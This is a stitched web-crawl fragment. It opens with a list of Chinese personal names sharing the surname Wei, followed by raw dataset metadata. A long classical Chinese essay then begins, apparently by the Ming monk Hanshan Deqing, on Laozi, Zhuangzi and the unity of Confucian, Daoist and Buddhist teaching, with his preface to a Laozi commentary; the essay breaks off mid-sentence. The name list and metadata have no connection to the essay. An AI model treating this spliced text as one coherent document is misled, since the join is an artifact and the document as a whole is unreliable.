魏宝柱 魏保保 魏保国 魏葆芙 魏钡铬 魏蓓园 魏本本 魏本比 魏本长 魏本成 魏本呈 魏本打 魏本君 魏本亮 魏本敏 魏本人 魏本一 魏本展 魏本子 魏比本 魏比比 魏比长 魏比呈 魏比打 魏比亮 魏比一 魏比展 魏比子 魏碧灿 魏碧虹 魏碧阑 魏弁帆 魏变滟 魏宾灿 魏冰安 魏冰吧 魏冰芭 魏冰白 魏冰办 魏冰比 魏冰璧 魏冰兵 魏冰伯 魏冰材 魏冰层 魏冰城 魏冰程 魏冰璀 魏冰二 魏冰汾 魏冰海 魏冰箭 魏冰兰 魏冰利 魏冰三 魏冰帅 魏冰丝 魏冰彤 魏冰心 魏冰一 魏冰钰 魏波林 魏钵稀 魏伯贵 魏伯昊 魏伯羊 魏铂忏 魏铂晶 魏铂青 魏博冰 魏博才 魏博琛 魏博浩 魏博蓄 魏博阳 魏博洋 魏渤杭 魏薄冰 魏才博 魏才溢 魏采斐 魏采扬 魏彩虹 魏彩晖 魏彩来 魏彩诗 魏彩雯 魏彩萱 魏灿阳 魏岑飞 魏岑栖 魏昌军 魏昌武 魏长保 魏长本 魏长比 魏长长 魏长成 魏长呈 魏长打 魏长贵 魏长亮 魏长清 魏长人 魏长拴 魏长学 魏长一 魏长银 魏长展 魏长子 魏常富 魏常学 魏畅然 魏超甲 魏朝磊 魏朝旭 魏朝阳 魏朝永 魏琛铭 魏琛人 魏琛晓 魏尘栖 魏辰希 魏辰曦 魏辰宇 魏陈浩 魏陈翔 魏晨朝 魏晨晨 魏晨斐 魏晨卉 魏晨希 魏晨曦 魏晨旭 魏晨扬 魏晨阳 魏成海 魏成金 魏成龙 魏成明 魏成扬 魏成瑜 魏呈本","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-s1-30-1.html","date":"2021-09-21T11:45:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00683.warc.gz","language":"lzh","language_score":0.9995336533,"language_script":"Hani","minhash_cluster_size":4,"top_langs":"{\"lzh_Hani_score\": 0.9995336532592773}","num_words":542,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.301,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"憨山大師著\n西域諸祖造論以破外道之執、須善自他宗。此方從古經論諸師、未有不善自他宗者。吾宗末學、安於孤陋、昧於同體、視為異物。不能融通教觀、難於利俗。其有初信之士、不能深窮教典。苦於名相支離、難於理會。至於酷嗜老莊為文章淵藪、及其論指歸、莫不望洋而歎也。迨觀諸家註釋、各徇所見、難以折衷。及見口義副墨、深引佛經、每一言有當、且謂一大藏經皆從此出。而惑者以為必當、深有慨焉。余居海上枯坐之餘、因閱楞嚴法華次、有請益老莊之旨者、遂蔓衍及此以自決。非敢求知於真人、以為必當之論也。且慨從古原教破敵者、發藥居多、而啟膏肓之疾者少。非不妙投、第未診其病源耳。是故余以唯心識觀而印決之。如摩尼圓照、五色相鮮、空谷傳聲、眾響斯應。苟唯心識而觀諸法、則彼自不出影響間也。故以名論。\n嘗觀世之百工技藝之精、而造乎妙者、不可以言傳。效之者、亦不可以言得。況大道之妙、可以口耳授受、語言文字而致哉。蓋在心悟之妙耳。是則不獨參禪、貴在妙悟。即世智辯聰治世語言、資生之業、無有一法不悟而得其妙者。妙則非言可及也。故吾佛聖人說法華、則純譚實相。乃至妙法、則未措一詞。但云如是而已。至若悟妙法者、但云善說法者。治世語言資生業等、皆順正法。而華嚴五地聖人、善能通達世間之學。至於陰陽術數、圖書印璽、醫方辭賦、靡不該練、然後可以涉俗利生。故等覺大士、現十界形。應以何身何法得度、即現何身何法而度脫之。由是觀之、佛法豈絕無世諦、而世諦豈盡非佛法哉。由人不悟大道之妙、而自畫於內外之差耳。道豈然乎。竊觀古今衛道藩籬者、在此、則曰彼外道耳。在彼、則曰此異端也。大而觀之、其猶貴賤偶人、經界太虛、是非日月之光也。是皆不悟自心之妙而增益其戲論耳。蓋古之聖人無他、特悟心之妙者、一切言教、皆從妙悟心中流出、應機而示淺深者也、故曰無不從此法界流、無不還此法界。是故吾人不悟自心不知聖人之心。不知聖人之心、而擬聖人之言者、譬夫場人之欣戚、雖樂不樂、雖哀不哀、哀樂原不出於己有也。哀樂不出於己、而以己為有者、吾於釋聖人之言者見之。\n余幼師孔不知孔。師老不知老。既壯、師佛不知佛。退而入於深山大澤、習靜以觀心焉。由是而知三界唯心、萬法唯識。既唯心識觀。則一切形、心之影也。一切聲、心之響也。是則一切聖人、乃影之端者。一切言教、乃響之順者。由萬法唯心所現。故治世語言資生業等、皆順正法。以心外無法、故法法皆真、迷者執之而不妙。若悟自心、則法無不妙。心法俱妙、唯聖者能之。\n吾佛經盡出自西域、皆從翻譯。然經之來始於漢。至西晉方大盛。晉之譯師、獨稱羅什為最。而什之徒生肇融叡四公、僧之麟鳳也。而什得執役。然什於肇亦曰。余解不謝子、文當相揖耳。蓋肇尤善老莊焉。然佛經皆出金口所宣。而至此方、則語多不類。一經而數譯者有之。以致淺識之疑。殊不知理實不差。文、在譯人之巧拙耳。故藏經凡出什之手者、文皆雅致。以有四哲左右焉。故法華理深辭密曲盡其妙不在言。而維摩文勢宛莊、語其理自昭著。至於肇四論、則渾然無隙。非具正法眼者、斷斷難明。故惑者非之。以空宗莊老孟浪之談宜矣。清涼觀國師、華嚴菩薩也。至疏華嚴、每引肇論、必曰肇公、尊之也。嘗竊論之。藉使肇見不正、則什何容在座。什眼不明、則譯何以稱尊。若肇論不經、則觀又何容口。古今質疑頗多、而概不及此、何哉。至觀華嚴疏、每引老莊語甚夥。則曰取其文不取其意。圭峰則謂二氏不能原人。宗鏡闢之尤著。然上諸師、皆應身大士、建大法幢者、何去取相左如此。嘗試論之。抑各有所主也。蓋西域之語、質直無文、且多重複。而譯師之學、不善兩方者、則文多鄙野、大為理累。蓋中國聖人之言、除五經束於世教、此外載道之言者、唯老一書而已。然老言古簡、深隱難明。發揮老氏之道者、唯莊一人而已。筆乘有言。老之有莊、猶孔之有孟。斯言信之。然孔稱老氏猶龍。假孟而見莊豈不北面耶。間嘗私謂中國去聖人、即上下千古負超世之見者、去老唯莊一人而已。載道之言廣大自在、除佛經、即諸子百氏究天人之學者、唯莊一書而已。藉令中國無此人、萬世之下不知有真人。中國無此書、萬世之下不知有妙論。蓋吾佛法廣大微妙。譯者險辭以濟之、理必沈隱。如楞伽是已。是故什之所譯稱最者、以有四哲為之輔佐故耳。觀師有言。取其文不取其意。斯言有由矣。設或此方有過老莊之言者。肇必捨此而不顧矣。由是觀之。肇之經論用其文者。蓋肇宗法華。所謂善說法者、世諦語言資生業等、皆順正法。乃深造實相者之所為也。圭峰少而宗鏡遠之者。孔子作春秋、假天王之令而行賞罰。二師其操法王之權而行褒貶歟。清涼則渾融法界、無可無不可者。故取而不取。是各有所主也。故余於法華見觀音三十二應。則曰應以婆羅門身得度、即現其身而為說法。至於妙莊嚴二子則曰汝父信受外道、深著婆羅門法。且二子亦悔生此邪見之家。蓋此方老莊、即西域婆羅門類也。然此剛為現身說法、旋即斥為外道邪見、何也。蓋在著與不著耳。由觀音圓通無礙、則不妨現身說法。由妙莊深生執著、故為外道邪見。是以聖人教人、但破其執、不破其法。是凡執著音聲色相者非正見也。\n余每見學者披閱經疏、忽撞引及子史之言者、如攔路虎、必驚怖不前。及教之親習。則曰彼外家言耳。掉頭弗顧。抑嘗見士君子為莊子語者、必引佛語為證。或一言有當。且曰佛一大藏盡出於此。嗟乎。是豈通達之謂耶。質斯二者。學佛而不通百氏。不但不知世法。而亦不知佛法。解莊而謂盡佛經。不但不知佛意。而亦不知莊意。此其所以難明也。故曰自大視細者不盡。自細視大者不明。余嘗以三事自勖曰。不知春秋、不能涉世。不知老莊、不能忘世。不參禪、不能出世。知此、可與言學矣。\n或問。三教聖人本來一理、是果然乎。曰。若以三界唯心、萬法唯識而觀。不獨三教本來一理。無有一事一法、不從此心之所建立。若以平等法界而觀。不獨三聖本來一體。無有一人一物、不是毗盧遮那海印三昧威神所現。故曰不壞相而緣起、染淨恆殊。不捨緣而即真、聖凡平等。但所施設、有圓融行布、人法權實之異耳。圓融者。一切諸法、但是一心。染淨融通、無障無礙。行布者。十界五乘五教理事因果淺深不同。所言十界謂四聖六凡也。所言五教謂小始終頓圓也。所言五乘、謂人天聲聞緣覺菩薩也。佛則最上一乘矣。然此五乘、各有修進、因果階差、條然不紊。所言人者、即蓋載兩間、四海之內、君長所統者是已。原其所修、以五戒為本。所言天者、即欲界諸天、帝釋所統。原其所修、以上品十善為本。色界諸天、梵王所統。無色界諸天、空定所持。原其所修、上品十善、以有漏禪九次第定為本。此二乃界內之因果也。所言聲聞所修、以四諦為本。緣覺所修、以十二因緣為本。菩薩所修、以六度為本。此三乃界外之因果也。佛則圓悟一心、妙契三德。攝而為一、故曰圓融。散而為五、故曰行布。然此理趣、諸經備載。由是觀之。則五乘之法、皆是佛法。五乘之行、皆是佛行。良由眾生根器大小不同、故聖人設教淺深不一。無非應機施設、所謂教不躐等之意也。由是證知孔子、人乘之聖也。故奉天以治人。老子、天乘之聖也。故清淨無欲、離人而入天。聲聞緣覺、超人天之聖也。故高超三界、遠越四生、棄人天而不入。菩薩、超二乘之聖也。出人天而入人天。故往來三界、救度四生、出真而入俗。佛則超聖凡之聖也。故能聖能凡、在天而天、在人而人。乃至異類分形、無往而不入。且夫能聖能凡者、豈聖凡所能哉。據實而觀、則一切無非佛法、三教無非聖人。若人若法、統屬一心。若事若理、無障無礙。是名為佛。故圓融不礙行布、十界森然。行布不礙圓融、一際平等。又何彼此之分、是非之辯哉。故曰、或邊地語說四諦。或隨俗語說四諦。蓋人天隨俗而說四諦者也。原彼二聖、豈非吾佛密遣二人而為佛法前導者耶。斯則人法皆權耳。良由建化門頭、不壞因果之相。三教之學皆防學者之心。緣淺以及深、由近以至遠、是以孔子欲人不為虎狼禽獸之行也。故以仁義禮智授之。姑使捨惡以從善、由物而入人。修先王之教、明賞罰之權。作春秋以明治亂之跡。正人心、定上下、以立君臣父子之分。以定人倫之節。其法嚴、其教切、近人情而易行。但當人欲橫流之際、故在彼汲汲猶難之。吾意中國非孔氏、而人不為禽獸者幾希矣。雖然、孔氏之跡固然耳。其心豈盡然耶。況彼明言之曰、毋意毋必毋固毋我。觀其濟世之心豈非據菩薩乘、而說治世之法者耶。經稱儒童、良有以也。而學者不見聖人之心將謂其道如此而已矣。故執先王之跡以挂功名、堅固我執。肆貪欲而為生累。至操仁義而為盜賊之資、啟攻鬥之禍者有之矣。故老氏愍之曰、斯尊聖用智之過也。若絕聖棄智、則民利百倍。剖斗折衡、則民不爭矣。甚矣、貪欲之害也。故曰不見可欲使心不亂。故其為教也、離欲清淨。以靜定持心、不事於物。澹泊無為、此天之行也。使人學此、離人而入於天。由其言深沈、學者難明。故得莊子起而大發揚之。因人之固執也深、故其言之也切。至於誹堯舜、薄湯武、非大言也。絕聖棄智之謂也。治推上古、道越羲皇、非漫談也。甚言有為之害也。詆訾孔子、非詆孔子、詆學孔子之跡者也。且非實言、乃破執之言也。故曰寓言十九、重言十七、訶教勸離、隳形泯智。意使離人入天、去貪欲之累故耳。至若精研世故、曲盡人情、破我執之牢關、去生人之大累。寓言曼衍、比事類辭、精切著明、微妙玄通工、深不不可識。此其說人天法、而具無礙之辯者也。非夫現婆羅門身而說法者耶。何其遊戲廣大之若此也。枇糠塵世、幻化死生、解脫物累、逍遙自在、其超世之量何如哉。嘗謂五伯僭竊之餘、處士橫議、充塞仁義之途。若非孟氏起而大闢之。吾意天下後世難言矣。況當群雄吞噬之劇。舉世顛瞑、亡生於物欲、火馳而不返者眾矣。若非此老崛起、攘臂其間。後世縱有高潔之士、將亦不知軒冕為桎梏矣。均之濟世之功、又何如耶。然其工夫由靜定而入、其文字從三昧而出。後人以一曲之見而窺其人、以濁亂之心而讀其書、茫然不知所歸趣。苟不見其心而觀其言、宜乎驚怖而不入也。且彼亦曰、萬世之後、而一遇大聖知其解者、是旦暮遇之也。然彼所求之大聖、非佛而又其誰耶。吾意彼為吾佛破執之前矛、斯言信之矣。世人於彼尚不入、安能入於佛法乎。\n吾教五乘進修工夫、雖各事行不同。然其修心、皆以止觀為本。故吾教止觀、有大乘、有小乘、有人天乘、四禪八定、九通明禪。孔氏亦曰、知止而後有定。又曰、自誠明。此人乘止觀也。老子曰、常無欲以觀其妙、常有欲以觀其微。又曰、萬物並作、吾以觀其復。莊子亦曰、莫若以明。又曰聖人不由而照之於天。又曰、人莫鑑於流水、而鑑於止水。惟止、能止眾止也。又曰、大定持之。至若百骸九竅、賅而存焉。吾誰與為親。又曰、咸其自取。怒者其誰耶。至若黃帝之退居、顏子之心齋、文人承蜩之喻、仲尼夢覺之論。此其靜定工夫。舉皆釋形去智、離欲清淨。所謂厭下苦麤障、欣上淨妙離。冀去人而入天。按教所明、乃捨欲界生、而生初禪者。故曰、宇泰定者、發乎天光。此天乘止觀也。首楞嚴曰、一切世間所修心人、愛染不生、無留欲界。是人應念身為梵侶。又曰、欲習既除、離欲心現。是人應時能行梵德、名為梵輔。又曰、清淨禁戒、加以明悟。是人應時能統梵眾、為大梵王。又曰、此三勝流、一切煩惱所不能逼。雖非正修真三摩地。清淨心中、諸漏不動、名為初禪。至於澄心不動、湛寂生光、倍倍增勝、以歷二三四禪。精見現前、陶鑄無礙。以至究竟群幾、窮色性性、入無邊際、名色究竟天。此其證也。由是觀之、老氏之學、若謂大患莫若於有身、故滅身以歸無。勞形莫先於有智、故釋智以淪虛。此則有似二乘。且出無佛世、觀化知無、有似獨覺。原其所宗、虛無自然、即屬外道。觀其慈悲救世之心、人天交歸、有無雙照、又似菩薩。蓋以權論。正所謂現婆羅門身而說法者。據實判之、乃人天乘精修梵行而入空定者也。所以能濟世者、以大梵天王為娑婆主、統領世界、說十善法、救度眾生。據華嚴地上菩薩為大梵王。至其梵眾、皆實行天人、由人乘而修天行者、此其類也無疑矣。吾故曰、莊語純究天人之際、非孟浪之談也。\n原夫即一心而現十界之像。是則四聖六凡、皆一心之影響也。豈獨人天為然哉。究論修進階差、實自人乘而立。是知人為凡聖之本也。故裴休有言曰、鬼神沈幽愁之苦。鳥獸懷獝狖之悲。脩羅方瞋。諸天耽樂。可以整心慮、趣菩提、唯人道為能耳。由是觀之、捨人道無以立佛法、非佛法無以盡一心。是則佛法以人道為鎡基、人道以佛法為究竟。故曰、菩提所緣、緣苦眾生。若無眾生、則無菩提。此之謂也。所言人道者、乃君臣父子夫婦之間、民生日用之常也。假而君君臣臣父父子子、不識不知、無貪無競、如幻化人。是為諸上善人俱會一處。即此世界為樂之國矣。又何庸夫聖人哉。奈何人者、因愛欲而生、愛欲而死。其生死愛欲者、財色名食睡耳。由此五者、起貪愛之心、搆攻鬥之禍。以致君不君、臣不臣、父不父、子不子。雖先王之賞罰、不足以禁其心。適一己無厭之欲、以結未來無量之苦。是以吾佛愍之曰、諸苦所因貪欲為本。若滅貪欲、無所依止。故現身三界、與民同患。乃說離欲出苦之要道耳。且不居天上而乃生於人間者、正示十界因果之相、皆從人道建立也。然既處人道、不可不知人道也。故吾佛聖人不從空生、而以淨梵為父摩耶為母者、示有君親也。以耶輸為妻、示有夫婦也。以羅侯為子、示有父子也。且必捨父母而出家、非無君親也、割君親之愛也。棄國榮而不顧、示名利為累也。擲妻子而遠之、示貪欲之害也。入深山而苦修、示離欲之行也。先習外道四遍處定、示離人而入天也。捨此而證正遍正覺之道者、示人天之行不足貴也。成佛之後、入王宮而舁父棺、上忉利而為母說法、示佛道不捨孝道也。依人間而說法、示人道揚趣菩提也。假王臣為外護、示處世不越世法也。此吾大師示現度生之楷模、垂誡後世之弘範也。嗟乎、吾人為佛弟子、不知吾佛之心。處人間世、不知人倫之事。與之論佛法、則儱侗真如、瞞頇佛性。與之論世法、則觸事面牆、幾如檮昧、與之論教乘、則曰枝葉耳、不足尚也。與之言六度、則曰菩薩之行、非吾所敢為也。與之言四諦、則曰彼小乘耳、不足為也。與之言四禪八定、則曰彼外道所習耳、何足齒也。與之言人道、則茫不知君臣父子之分、仁義禮智之行也。嗟乎、吾人不知何物也。然而好高慕遠、動以口耳為借資。竟不知吾佛教人出世、以離欲之行為第一也。故曰離欲寂靜、最為第一。以余生人道、不越人乘、故幼師孔子。以知人欲為諸苦本、志離欲行、故少師老莊。以觀三界唯心、萬法唯識、知十界唯心之影響也、故皈命佛。\n老氏所宗虛無大道。即楞嚴所謂晦昧為空、八識精明之體也。然吾人迷此妙明一心而為第八阿賴耶識。依此而有七識為生死之根。六識為造業之本。變起根身器界生死之相。是則十界聖凡、統皆不離此識。但有執破染淨之異耳。以欲界凡夫、不知六塵五欲境界、唯識所變。乃因六識分別、起貪愛心、固執不捨。造種種業、受種種苦。所謂人欲橫流。故孔子設仁義禮智教化為隄防、使思無邪、姑捨惡而從善。至於定名分、正上下、然其道未離分別。即所言靜定工夫。以唯識證之。斯乃斷前六識分別邪妄之思、以袪鬥諍之害。而要歸所謂妙道者、乃以七識為指歸之地。所謂生機道原。故曰生生之謂易是也。至若老氏以虛無為妙道、則曰谷神不死。又曰死而不亡者壽。又曰生生者不生。且其教以絕聖棄智忘形去欲為行、以無為為宗極、斯比孔則又進。觀生機深脈、破前六識分別之執。伏前七識生滅之機。而認八識精明之體即楞嚴所謂罔象虛無微細精想者、以為妙道之源耳。故曰、惚兮恍、其中有象。恍兮惚、其中有物。以其此識乃全體無明、觀之不透。故曰、杳杳冥冥、其中有精。以其識體不思議熏不思議變。故曰玄之又玄。而稱之曰妙道。以天地萬物皆從此中變現。故曰、天地之根、眾妙之門。不知其所以然而然、故莊稱自然。且老乃中國之人也。未見佛法、而深觀至此、可謂捷疾利根矣。借使一見吾佛而印決之、豈不頓證真無生耶。吾意西涉流沙、豈無謂哉。大段此識、深隱難測。當佛未出世時、西域九十六種、以六師為宗。其所立論百什、至於得神通者甚多、其書又不止此方之老莊也。洎乎吾佛出世、靈山一會、英傑之士、皆彼六師之徒。且其見佛、不一言而悟。如良馬見鞭影而行、豈非昔之工夫有在。但邪執之心未忘、故令見佛、只在點化之間以破其執耳。故佛說法原無贅語、但就眾生所執之情、隨宜而擊破之。所謂以楔出楔者、本無實法與人也。至於楞嚴會上、微細披剝、次第徵辯、以破因緣自然之執、以斷凡夫外道二乘之疑。而看教者不審乎此、但云彼西域之人耳、此東土之人也。人有彼此、而佛性豈有二耶。且吾佛為三界之師、四生之父。豈其說法、止為彼方之人、而此十萬里外、則絕無分耶。然而一切眾生、皆依八識而有生死。堅固我執之情者、豈只彼方眾生有執、而此方眾生無之耶。是則此第八識、彼外道者、或執之為冥諦、或執之為自然、或執之為因緣、或執之為神我。即以定修心生於梵天、而執之為五現涅槃。或窮空不歸、而入無色界天。伏前七識生機不動。進觀識性、至空無邊處、無所有處、以極非非想處。此乃界內修心、而未離識性者。故曰、學道之人不識真、只為從前認識神、無量劫來生死本、癡人認作本來人者、是也。至於界外聲聞、已滅三界見思之惑、已斷三界生死之苦、已證無為寂滅之樂。八識名字尚不知、而亦認為涅槃、將謂究竟歸寧之地。且又親從佛教得度、猶費吾佛四十年彈訶淘汰之功。至於法華會上、猶懷疑佛之意、謂以小乘而見濟度。雖地上菩薩、登七地已、方捨此識、而猶異熟未空。由是觀之、八識為生死根本、豈淺淺哉。故曰、一切世間諸修行人、不能得成無上菩提。乃至別成聲聞緣覺、及成外道、諸天魔王、及魔眷屬、皆由不知二種根本。一者無始生死根本、則汝今者與諸眾生、用攀緣心為自性者。二者無始涅槃元清淨體、則汝今者識精元明、能生諸緣、緣所遺者。正此之謂也。噫、老氏生人間世、出無佛世、而能窮造化之原、深觀至此。即其精進工夫、誠不易易。但未打破生死窠窟耳。古德嘗言、孔助於戒、以其嚴於治身。老助於定、以其精於忘我。二聖之學、與佛相須而為用、豈徒然哉。據實而論、執孔者、涉因緣、執老者、墮自然。要皆未離識性、不能究竟一心故也。佛則離心意識、故曰、本非因緣、非自然性、方徹一心之源耳。此其世出世法之分也。故佛所破、正不止此。即出世三乘、而亦皆在其中矣。世人但見莊子誹堯舜薄湯武、詆訾孔子之徒、以為驚異。若聞世尊訶斥二乘以為焦芽敗種悲重菩薩以為佛法闡提、又將何如耶。然而佛訶二乘、非訶二乘、訶執二乘之跡者、欲其捨小趣大也。所謂莊詆孔子、非詆孔子、詆學孔子之跡者、欲其絕聖棄智也。要皆遣情破執之謂也。若果情忘執謝、其將把臂而遊妙道之鄉矣。方且歡忻至樂之不暇、又何庸夫憒憒哉。此其華嚴地上菩薩、而於塗炭事火臥棘投鍼之儔、靡不現身其中、與之而作師長也。苟非佛法、又何令彼入佛法哉。故彼六師之執幟、非佛不足以拔之。吾意老莊之大言、非佛法不足以證嚮之。信乎遊戲之談、雖老師宿學、不能自解免耳。今以唯心識觀、皆不出乎響矣。\n此論刱意、蓋予居海上時、萬歷戊子冬、乞食王城、嘗與洞觀居士夜談所及、居士大為撫掌。庚寅夏日、始命筆焉。藏之既久、向未拈出。甲午冬、隨緣王城、擬請益於弱侯焦太史、不果。明年乙未春、以弘法罹難、其草業己遺之海上矣。仍遣侍者往殘簡中搜得之。秋蒙恩遣雷陽、達觀禪師、由匡廬杖策候予於江上。冬十一月、予方渡江、晤師於旅泊庵、夜坐出此、師一讀三歎曰、是足以袪長迷也。即命弟子如奇、刻之以廣法施。予固止之。戊戍夏、予寓五羊時、與諸弟子結制壘壁間、為眾演楞嚴宗旨、門人寶貴、見而歎喜、願竭力成之、以卒業焉。噫、欲識佛性義、當觀時節因緣。此區區片語、誠不足為法門重輕。刱意於十年之前、而克成於十年之後、作之於東海之東、而行之於南海之南。豈機緣偶會而然耶。道與時也、庸可強乎。然此、蓋因觀老莊而作也、故以名論。\n萬歷戊戍除日憨山道人清書於楞伽室。病後俗冗、近始讀大製曹谿通志、及觀老莊影響論等書、深為歎服。所謂不知春秋。不能涉世。不知老莊、不能忘世。不參禪、不能出世。及孔子人乘之聖。老子天乘之聖。佛能聖能凡能人能天之聖。如此之類、百世不易之論也。起原再稽顙。\n予少喜讀老莊、苦不解義。惟所領會處、想見其精神命脈、故略得離言之旨。及搜諸家註釋則多以己意為文、若與之角、則義愈晦。及熟玩莊語、則於老恍有得焉。因謂註乃人人之老莊、非老莊之老莊也。以老文簡古而旨幽玄、則莊實為之註疏。苟能懸解、則思過半矣。空山禪暇、細玩沈思、言有會心、即託之筆。必得義遺言、因言以見義。或經旬而得一語、或經年而得一章。始於東海、以至南粵、自壬辰以至丙午、周十五年乃能卒業。是知古人立言之不易也。以文太簡、故不厭貫通、要非枝也。嘗謂儒宗堯舜、以名為教、故宗於仁義。老宗軒黃、道重無為、如云失道德而後仁義。此立言之本也。故莊之誹薄、殊非大言、以超俗之論則駭俗、故為放而不收也。當仲尼問禮、則歎為猶龍、聖不自聖、豈無謂哉。故老以無用為大用、苟以之經世、則化理治平、如指諸掌。尤以無為為宗極、性命為真修。即遠世遺榮、殆非矯矯。苟得其要、則真妄之途、雲泥自別。所謂真以治身、緒餘以為天下國家、信非誣矣。或曰、子之禪、貴忘言、乃嘵嘵於世諦、何所取大耶。予曰、不然。鴉鳴鵲噪、咸自天機。蟻聚蜂遊、都歸神理。是則何語非禪、何法非道。況釋智忘懷之談、詎非入禪初地乎。且禪以我蔽、故破我以達禪、老則先登矣。若夫玩世蜉蝣、尤當以此為樂土矣。註成、始刻於嶺南。重刻於五雲南岳與金陵。今則再刻於吳門。以尚之者眾、故施不厭普矣。\n按史記、老子者、楚苦(音怙)縣厲(音賴)鄉曲仁里人也。姓李氏、名耳、字伯陽、諡曰聃。周守藏室之史也。(亦云柱下史)孔子適周、將問禮於老子。老子曰、子所言者、其人與骨皆已朽矣。獨其言在耳。君子得其時則駕。不得其時、則蓬累而行。(蓬累、篛笠也。首戴之而行、言無車蓋也。)吾聞之、良賈深藏若虛。君子盛德、容貌若愚。去子之驕氣與多欲、態色與淫志、是皆無益於子之身。吾所以告子者、若是而已。孔子去、謂弟子曰、鳥、吾知其能飛。魚、吾知其能遊。獸、吾知其能走。走者可以為網。遊者可以為綸。飛者可以為矰。至於龍、吾不能知其乘風雲而上天。吾今見老子、其猶龍耶。老子修道德、其學以自隱無名為務。居周久之、見周之衰、迺遂去。至關、關令尹喜曰、子將隱矣、強為我著書。於是老子遂著書上下篇、言道德之意五千餘言、而去、莫知所終。老子生周定王三年。母孕八十年而生。生而皓首、故稱老子。\n老氏所宗、以虛無自然為妙道。此即楞嚴所謂分別都無、非色非空、拘舍離等,昧為冥諦者、是已。此正所云八識空昧之體也。以其此識、最極幽深、微妙難測、非佛不足以盡之。轉此則為大圓鏡智矣。菩薩知此、以止觀而破之、尚有分證。至若聲聞不知、則取之為涅槃。西域外道梵志不知、則執之為冥諦。此則以為虛無自然妙道也。故經曰、諸修行人、不能得成無上菩提。乃至別成聲聞緣覺、諸天外道魔王、及魔眷屬、皆由不知二種根本。錯亂修習、猶如煮沙欲成佳饌、縱經塵劫終不能得。云何二種、一者無始生死根本、則汝今者與諸眾生、用攀緣心為自性者。二者無始涅槃元清淨體、則汝今者識精元明、能生諸緣、緣所遺者。此言識精元明、即老子之妙道也。故曰、杳杳冥冥、其中有精、其精甚真。由其此體至虛至大、故非色。以能生諸緣、故非空。不知天地萬物皆從此識變現、乃謂之自然。由不思議熏、不思議變、故謂之妙。至精不雜、故謂之真。天地壞而此體不壞、人身滅而此性常存、故謂之常。萬物變化、皆出於此、謂之天地之根、眾妙之門。凡遇書中所稱真常玄妙、虛無大道等語。皆以此印證之、則自有歸趣。不然、則茫若捕風捉影矣。故先示於此。臨文不煩重出。\n愚謂看老莊者、先要熟覽教乘、精透楞嚴。融會吾佛破執之論、則不被他文字所惑。然後精修靜定、工夫純熟、用心微細、方知此老工夫苦切。然要真真實實看得身為苦本、智為累根、自能隳形釋智。方知此老真實受用至樂處。更須將世事一一看破、人情一一覷透、虛懷處世、目前無有絲毫障礙。方見此老真實逍遙快活、廣大自在、儼然一無事道人。然後不得已而應世、則不費一點氣力端然無為而治。觀所以教孔子之言、可知已。莊子一書、乃老子之注疏。故愚所謂老之有莊、如孔之有孟。是知二子所言、皆真實話、非大言也。故曰、吾言甚易知、甚易行、天下莫能知、莫能行。而世之談二子者、全不在自己工夫體會。只以語言文字之乎者也而擬之、故大不相及。要且學疏狂之態者有之、而未見有以靜定工夫而入者。此其所謂知我者希矣。冀親二子者當作如是觀。\n老子一書、向來解者例以虛無為宗。及至求其入道工夫、茫然不知下手處。故予於首篇、將觀無觀有一觀字、為入道之要、使學者易入。然觀照之功最大、三教聖人皆以此示人。孔子則曰、知止而后有定。又曰、明明德。然知明、即了悟之意。佛言止觀、則有三乘止觀、人天止觀、淺深之不同。若孔子、乃人乘止觀也。老子、乃天乘止觀也。然雖三教止觀淺深不同、要其所治之病、俱以先破我執為第一步工夫。以其世人盡以我之一字為病根。即智愚賢不肖、汲汲功名利祿之場、圖為百世子孫之計、用盡機智總之皆為一身之謀。如佛言諸苦所因、貪欲為本、皆為我故。老子亦曰、貴大患若身。以孔聖為名教宗主、故對中下學人、不敢輕言破我執。唯對顏子、則曰克己。其餘但言正心誠意修身而已。然心既正、意既誠、身既修、以此施於君臣父子之間、各盡其誠、即此是道、所謂為名教設也。至若絕聖棄智、無我之旨、乃自受用地、亦不敢輕易舉以於人。唯引而不發、所謂若聖與仁、則吾豈敢。又曰、吾有知乎哉、無知也、有鄙夫問於我、空空如也。至若極力為人處、則曰、克己。則曰、毋意、毋必、毋固、毋我。此四言者、肝膽畢露。然己者、我私。意者、生心。必者、待心。固者、執心。我者、我心。克者、盡絕。毋者、禁絕之辭。教人盡絕此意必固我四者之病也。以聖人虛懷遊世寂然不動、物來順應、感而遂通。用心如鏡、不將不迎、來無所粘、去無蹤跡。身心兩忘、與物無競、此聖人之心也。世人所以不能如聖人者、但有意必固我四者之病、故不自在、動即是苦。孔子觀見世人病根在此、故使痛絕之。即此之教、便是佛老以無我為宗也。且毋字便是斬截工夫、下手最毒。即如法家禁令之言毋得者、使其絕不可有犯、一犯便罪不容赦、只是學者不知耳。至若吾佛說法、雖浩瀚廣大。要之不出破眾生麤細我法二執而已。二執既破、便登佛地。即三藏經文、皆是破此二執之具。所破之執、即孔子之四病、尚乃麤執耳。世人不知、將謂別有玄妙也。若夫老子超出世人一步、故專以破執立言、要人釋智遺形、離欲清淨。然所釋之智、乃私智、即意必也。所遺之形、即固我也。所離之欲、即己私也。清淨則廓然無礙、如太虛空、即孔子之大公也。是知孔老心法未嘗不符、第門庭施設、藩衛世教、不得不爾。以孔子專於經世。老子專於忘世。佛專於出世。然究竟雖不同、其實最初一步、皆以破我執為主。工夫皆由止觀而入。\n或曰、三教聖人教人、俱要先破我執。是則無我之體同矣。奈何其用、有經世、忘世、出世、之不同耶。答曰、體用皆同、但有淺深小大之不同耳。假若孔子果有我、是但為一己之私、何以經世。佛老果絕世、是為自度、又何以利生。是知由無我方能經世、由利生方見無我、其實一也。若孔子曰、寂然不動、感而遂通天下之故、用也。明則誠、體也。誠則形、用也。心正意誠、體也。身修家齊國治天下平、用也。老子無名、體也。無為而為、用也。孔子曰、惟天惟大、唯堯則之、蕩蕩乎民無能名焉。又曰、無為而治者、其舜也歟。且經世以堯舜為祖、此豈有名有為者耶。由無我方視天下皆我、故曰、堯舜與人同耳。以人皆同體、所不同者、但有我私為障礙耳。由人心同此心、心同則無形礙。故汲汲為之教化、以經濟之。此所以由無我而經世也。老子則曰、常善教人、故無棄人。無棄人、則人皆可以為堯舜。是由無我方能利生也。若夫一書所言為而不宰、功成不居等語。皆以無為